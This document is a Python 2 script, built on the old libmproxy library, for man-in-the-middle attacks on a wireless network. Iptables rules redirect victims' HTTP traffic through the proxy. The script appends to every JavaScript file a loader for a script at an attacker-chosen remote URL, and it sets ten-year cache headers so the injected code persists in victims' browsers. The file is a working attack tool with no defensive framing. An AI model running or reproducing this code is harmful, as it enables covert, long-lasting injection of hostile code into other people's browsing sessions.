MITM script to inject JS into files and trick with the cache

cache_injector.py

#!/usr/bin/env python
"""
    sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    sudo iptables -t nat -D PREROUTING -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080
"""
from libmproxy import controller, proxy, platform
from libmproxy.flow import Response
from netlib.odict import ODictCaseless


import os
import sys
import datetime
import pprint

class InjectingMaster(controller.Master):
    def __init__(self, server, iframe_url):
        controller.Master.__init__(self, server)
        self._iframe_url = iframe_url

    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def handle_request(self, msg):
        if 'Accept-Encoding' in msg.headers:
            msg.headers["Accept-Encoding"] = ('none',)
        msg.reply()

    def handle_response(self, msg):
        hid = (msg.request.host, str(msg.request.port), msg.request.path,
            str(msg.headers['Content-Type']))
        trap = """
        var trap = document.getElementById("trap");
        html = '<script id="trap" src="%s" type="text/javascript"></script>';
        if (trap == null){//document.body.innerHTML += html;
        (function(d, script) {
            script = d.createElement('script');
            script.type = 'text/javascript';
            script.async = true;
            script.onload = function(){
                // remote script has loaded
            };
            script.src = '%s';
            d.getElementsByTagName('head')[0].appendChild(script);
        }(document));
        }
        """ % (self._iframe_url, self._iframe_url)
        print " ".join(hid)
        if "application/javascript" in msg.headers["Content-Type"] or "application/x-javascript" in msg.headers["Content-Type"] or msg.request.path.endswith(".js"):
            print "injected: %s" % ( " ".join(hid), )
            cache = 60*60*24*365*10
            date_expire = datetime.datetime.now() + datetime.timedelta(seconds=cache)
            
            msg.content += "\n\n" + trap #" ".join(trap.split())
            msg.headers['Expires'] = [date_expire.strftime("%Y-%m-%d %H:%M:%S GMT")]
            msg.headers['Cache-Control'] = ["max-age=%d, public" % cache]
        msg.reply()


def main(argv):
    if len(argv) != 2:
        print "Usage: %s IFRAME_URL" % argv[0]
        sys.exit(1)
    iframe_url = argv[1]
    config = proxy.ProxyConfig(
        cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
        #transparent_proxy = dict (resolver = platform.resolver(), sslports = [443, 8443])
    )
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server, iframe_url)
    m.run()

if __name__ == '__main__':
    main(sys.argv)